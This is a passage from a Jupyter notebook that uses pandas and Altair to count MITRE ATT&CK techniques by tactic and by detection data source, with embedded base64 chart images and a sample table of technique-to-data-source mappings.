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", "text/plain": [ "\n", "\n", "If you see this message, it means the renderer has not been properly enabled\n", "for the frontend that you are using. For more information, see\n", "https://altair-viz.github.io/user_guide/troubleshooting.html\n" ] }, "execution_count": 27, "metadata": {}, "output_type": "execute_result" } ], "source": [ "tactic_distribution = pandas.DataFrame({\n", " 'Tactic': list(techniques_tactic_2.groupby(['tactic'])['tactic'].count().keys()),\n", " 'Count of Techniques': techniques_tactic_2.groupby(['tactic'])['tactic'].count().tolist()}).sort_values(by='Count of Techniques',ascending=True)\n", "bars = alt.Chart(tactic_distribution,width=800,height=300).mark_bar().encode(x ='Tactic',y='Count of Techniques',color='Tactic').properties(width=400)\n", "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", "bars + text" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Defende-evasion and Persistence are tactics with the highest nummber of techniques with data sources" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 11. Grouping Techniques With Data Sources by Data Source" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We need to split the data source column values because a technique might be mapped to more than one data source:" ] }, { "cell_type": "code", "execution_count": 28, "metadata": {}, "outputs": [], "source": [ "techniques_data_source=techniques_with_data_sources\n", "\n", "attributes_3 = ['data_sources'] # In attributes we are going to indicate the name of the columns that we need to split\n", "\n", "for a in attributes_3:\n", " s = techniques_data_source.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", " s.name = a\n", " # We name \"s\" with the same name of \"a\".\n", " techniques_data_source = techniques_data_source.drop(a, axis=1).join(s).reset_index(drop=True)\n", " # We drop the column \"a\" from \"techniques_data_source\", and then join \"techniques_data_source\" with \"s\"\n", "\n", "# Let's re-arrange the columns from general to specific\n", "techniques_data_source_2 = techniques_data_source.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n", "\n", "# We are going to edit some names inside the dataframe to improve the consistency:\n", "techniques_data_source_3 = techniques_data_source_2.replace(['Process monitoring','Application logs'],['Process Monitoring','Application Logs'])" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can now show techniques with data sources mapped to one data source at the time" ] }, { "cell_type": "code", "execution_count": 29, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attack[Linux, Windows, macOS][defense-evasion]File Permissions ModificationT1222File monitoring
1mitre-attack[Linux, Windows, macOS][defense-evasion]File Permissions ModificationT1222Process Monitoring
2mitre-attack[Linux, Windows, macOS][defense-evasion]File Permissions ModificationT1222Process command-line parameters
3mitre-attack[Linux, Windows, macOS][defense-evasion]File Permissions ModificationT1222Windows event logs
4mitre-attack[Windows][defense-evasion, execution]XSL Script ProcessingT1220Process Monitoring
\n", "
" ], "text/plain": [ " matrix platform tactic \\\n", "0 mitre-attack [Linux, Windows, macOS] [defense-evasion] \n", "1 mitre-attack [Linux, Windows, macOS] [defense-evasion] \n", "2 mitre-attack [Linux, Windows, macOS] [defense-evasion] \n", "3 mitre-attack [Linux, Windows, macOS] [defense-evasion] \n", "4 mitre-attack [Windows] [defense-evasion, execution] \n", "\n", " technique technique_id data_sources \n", "0 File Permissions Modification T1222 File monitoring \n", "1 File Permissions Modification T1222 Process Monitoring \n", "2 File Permissions Modification T1222 Process command-line parameters \n", "3 File Permissions Modification T1222 Windows event logs \n", "4 XSL Script Processing T1220 Process Monitoring " ] }, "execution_count": 29, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_data_source_3.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's create a visualization to show the number of techniques grouped by data sources:" ] }, { "cell_type": "code", "execution_count": 30, "metadata": {}, "outputs": [ { "data": { "application/vnd.vegalite.v2+json": { "$schema": "https://vega.github.io/schema/vega-lite/v2.6.0.json", "config": { "view": { "height": 300, "width": 400 } }, "datasets": { "data-7919a1a073b1cc13f6356949a0899bbe": [ { "Count of Techniques": 41, "Data Source": "API monitoring" }, { "Count of Techniques": 1, "Data Source": "Access Tokens" }, { "Count of Techniques": 7, "Data Source": "Anti-virus" }, { "Count of Techniques": 5, "Data Source": "Application Logs" }, { "Count of Techniques": 1, "Data Source": "Asset Management" }, { "Count of Techniques": 28, "Data Source": "Authentication logs" }, { "Count of Techniques": 2, "Data Source": "BIOS" }, { "Count of Techniques": 18, "Data Source": "Binary file metadata" }, { "Count of Techniques": 1, "Data Source": "Browser extensions" }, { "Count of Techniques": 1, "Data Source": "Component Firmware" }, { "Count of Techniques": 17, "Data Source": "DLL monitoring" }, { "Count of Techniques": 1, "Data Source": "DNS records" }, { "Count of Techniques": 6, "Data Source": "Data loss prevention" }, { "Count of Techniques": 2, "Data Source": "Detonation chamber" }, { "Count of Techniques": 1, "Data Source": "Digital Certificate Logs" }, { "Count of Techniques": 1, "Data Source": "Disk Forensics" }, { "Count of Techniques": 1, "Data Source": "EFI" }, { "Count of Techniques": 4, "Data Source": "Email gateway" }, { "Count of Techniques": 2, "Data Source": "Environment variable" }, { "Count of Techniques": 90, "Data Source": "File monitoring" }, { "Count of Techniques": 4, "Data Source": "Host network interface" }, { "Count of Techniques": 4, "Data Source": "Kernel drivers" }, { "Count of Techniques": 12, "Data Source": "Loaded DLLs" }, { "Count of Techniques": 2, "Data Source": "MBR" }, { "Count of Techniques": 2, "Data Source": "Mail server" }, { "Count of Techniques": 9, "Data Source": "Malware reverse engineering" }, { "Count of Techniques": 1, "Data Source": "Named Pipes" }, { "Count of Techniques": 24, "Data Source": "Netflow/Enclave netflow" }, { "Count of Techniques": 4, "Data Source": "Network device logs" }, { "Count of Techniques": 7, "Data Source": "Network intrusion detection system" }, { "Count of Techniques": 18, "Data Source": "Network protocol analysis" }, { "Count of Techniques": 32, "Data Source": "Packet capture" }, { "Count of Techniques": 1, "Data Source": "PowerShell logs" }, { "Count of Techniques": 157, "Data Source": "Process Monitoring" }, { "Count of Techniques": 87, "Data Source": "Process command-line parameters" }, { "Count of Techniques": 37, "Data Source": "Process use of network" }, { "Count of Techniques": 8, "Data Source": "SSL/TLS inspection" }, { "Count of Techniques": 1, "Data Source": "Sensor health and status" }, { "Count of Techniques": 3, "Data Source": "Services" }, { "Count of Techniques": 9, "Data Source": "System calls" }, { "Count of Techniques": 3, "Data Source": "Third-party application logs" }, { "Count of Techniques": 4, "Data Source": "User interface" }, { "Count of Techniques": 1, "Data Source": "VBR" }, { "Count of Techniques": 1, "Data Source": "WMI Objects" }, { "Count of Techniques": 1, "Data Source": "Web application firewall logs" }, { "Count of Techniques": 2, "Data Source": "Web logs" }, { "Count of Techniques": 4, "Data Source": "Web proxy" }, { "Count of Techniques": 4, "Data Source": "Windows Error Reporting" }, { "Count of Techniques": 34, "Data Source": "Windows Registry" }, { "Count of Techniques": 19, "Data Source": "Windows event logs" } ] }, "layer": [ { "data": { "name": "data-7919a1a073b1cc13f6356949a0899bbe" }, "encoding": { "color": { "field": "Data Source", "type": "nominal" }, "x": { "field": "Data Source", "type": "nominal" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "height": 300, "mark": "bar", "width": 1200 }, { "data": { "name": "data-7919a1a073b1cc13f6356949a0899bbe" }, "encoding": { "color": { "field": "Data Source", "type": "nominal" }, "text": { "field": "Count of Techniques", "type": "quantitative" }, "x": { "field": "Data Source", "type": "nominal" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "height": 300, "mark": { "align": "center", "baseline": "middle", "dx": 0, "dy": -5, "type": "text" }, "width": 1200 } ] }, "image/png": "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